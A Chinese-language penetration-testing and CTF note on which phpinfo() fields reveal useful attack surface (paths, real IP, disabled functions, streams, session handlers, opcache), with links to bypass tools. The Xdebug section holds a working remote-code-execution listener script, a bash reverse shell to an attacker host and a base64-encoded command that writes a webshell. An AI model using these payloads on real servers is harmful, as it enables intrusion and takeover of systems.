phpinfo中敏感信息记录

比赛中或者渗透中如果遇到phpinfo,从里面发现的一些线索能够对后续的渗透和解题帮助很大,这里记录总结一下目前网上比较常用的的。

下图来源于:https://seaii-blog.com/index.php/2017/10/25/73.html

phpinfo中敏感信息记录

 

1.绝对路径(_SERVER["SCRIPT_FILENAME"])

phpinfo中敏感信息记录

2.支持的程序

可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,如果加载了,那么就可以适当往这几个方面考虑,还可以看看是否支持gopher、是否启了fastcgi。

3.泄漏真实ip(_SERVER["SERVER_ADDR"]或SERVER_ADDR)

可以查查旁站、c段什么的,直接无视cdn

4.一些敏感配置

allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等

5.Loaded Configuration File(配置文件位置)

这一栏表明了 php.ini 这个 php 配置文件的位置,在有文件读取的情况下可以进行读取,在渗透中还是很有帮助的。

phpinfo中敏感信息记录

6.Registered PHP Streams(支持的流)

这个在文件包含、反序列化还有一些关键的 bypass 的时候非常有用

phpinfo中敏感信息记录

利用phar/zip协议绕过有后缀的文件包含:include zip:///var/www/html/upload/1.gif#1.php

7.open_basedir

这个选项设置了文件读取的时候的目录限制

phpinfo中敏感信息记录

PHP绕过open_basedir列目录的研究

php5全版本绕过open_basedir读文件脚本

绕过open_basedir读文件脚本

8.short_open_tag

判断服务器是不是支持短标签,这在写 shell 的时候很有帮助

 phpinfo中敏感信息记录

9.phar

文件包含还有反序列化重点关注

phpinfo中敏感信息记录

10.SESSION

session.save_path=”” –设置session的存储路径
session.save_handler=”” –设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen –指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string –定义用来序列化/反序列化的处理器名字。默认使用php

这个也容易导致session处理器不同而导致的反序列化漏洞,之前文章里也说过

https://www.cnblogs.com/wfzWebSecuity/p/11156279.html

11.server api

phpinfo中敏感信息记录

php解释器与应用层的桥梁。

1.FPM/FastCGI 多用于和nginx通信,当然也可用于其他web中间件。
2.Apache 2.0 Handler php为apache提供的专用SAPI
3.Command Line Interface php命令行

12.disable_functions

有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。

phpinfo中敏感信息记录

有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。

绕过的方式有这么几个:

黑名单绕过:

百密一疏,寻找黑名单中漏掉的函数,上图中禁用的函数算是比较全的了。
比如在编译php时如果加了-–enable-pcntl选项,就可以使用pcntl_exec()来执行命令。

渗透技巧:利用pcntl_exec突破disable_functions

利用ImageMagick漏洞绕过disable_function

利用环境变量LD_PRELOAD来绕过php disable_function

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

利用扩展库绕过

http://www.91ri.org/8700.html

综合:

https://github.com/l3m0n/Bypass_Disable_functions_Shell

13.enable_dl

phpinfo中敏感信息记录

上面说的利用扩展库绕过disable_functions,需要使用dl()并且开启这个选项

14.xdebug 远程rce

phpinfo中敏感信息记录

 

漏洞利用条件:

xdebug.remote_connect_back 的回连是通过自定义 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接,就是让被调试的服务器去连接我们的恶意主机,此时我们的恶意主机就可以和目标服务器进行交互,并且因为是xdebug是支持dbgp的,所以可以此时让恶意主机发送恶意指令到目标服务器让其执行

 需要在目标站的phpinfo中看到:

xdebug.remote_connect_back => On => On
xdebug.remote_cookie_expire_time => 3600 => 3600
xdebug.remote_enable => On => On

即可使用Xdebug进行连接,尝试直接命令执行

利用exp如下:rr师傅的

import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

 首先可以测试一下是否可以利用,直接使用curl

phpinfo中敏感信息记录

phpinfo中敏感信息记录

然后执行exp,监听本地9000端口,发送恶意payload,访问vps

 phpinfo中敏感信息记录

反弹shell:

此时直接用

system("bash -i >& /dev/tcp/vps_id/port 0>&1")没弹回来,但是能curl到,换了个payload,尝试往网站根目录下写shell:

用payload如下,这里用base64转一下,防止payload引号发生冲突,冲突写不进去

shell_exec("echo 'ZWNobyAiPD9waHAgcGhwaW5mbygpOz8+IiA+IC92YXIvd3d3L2h0bWwvcy5waHA=' | base64 -d | bash");

phpinfo中敏感信息记录

看下/var/www/html下面:

phpinfo中敏感信息记录

有了上面base64绕过,我又回来试了一下能不能反弹shell,还是用system("bash -i >& /dev/tcp/vps_id/port 0>&1"),把反弹shell的payload进行编码一下:

phpinfo中敏感信息记录

然后vps上。。。。终于弹回来了,exp没问题,要自己调试一下paylaod,适当把payload编码一下挺有用的

phpinfo中敏感信息记录

 phpinfo中敏感信息记录

15.opcache

opcache是缓存文件,他的作用就类似于web项目中的静态文件的缓存, 比如我们加载一个网页, 浏览器会自动帮我们把jpg, css缓存起来, 唯独php没有缓存, 每次均需要open文件, 解析代码, 执行代码这一过程, 而opcache即可解决这个问题, 代码会被高速缓存起来, 提升访问速度。

如果目标网站

opcache.enable => On

即可判断开启了opcache,即有开启了潜在的攻击面

详情见0ctf ezdoor解析

https://skysec.top/2018/04/11/0ctf-ezdoor/

https://skysec.top/2018/04/04/amazing-phpinfo/#OPCACHE

https://www.angelwhu.com/blog/?p=438

16.imap

https://github.com/vulhub/vulhub/blob/master/php/CVE-2018-19518/README.md

参考(侵删):

https://paper.seebug.org/397/

https://www.k0rz3n.com/2019/02/12/PHPINFO%20%E4%B8%AD%E7%9A%84%E9%87%8D%E8%A6%81%E4%BF%A1%E6%81%AF/

http://www.am0s.com/penetration/322.html

https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

 https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce

https://seaii-blog.com/index.php/2017/10/25/73.html

上一篇:php – 带有虚拟机的端口9000上的XDebug – EADDRINUSE ::: 90000


下一篇:PHP:如何精准的定位和解决线上BUG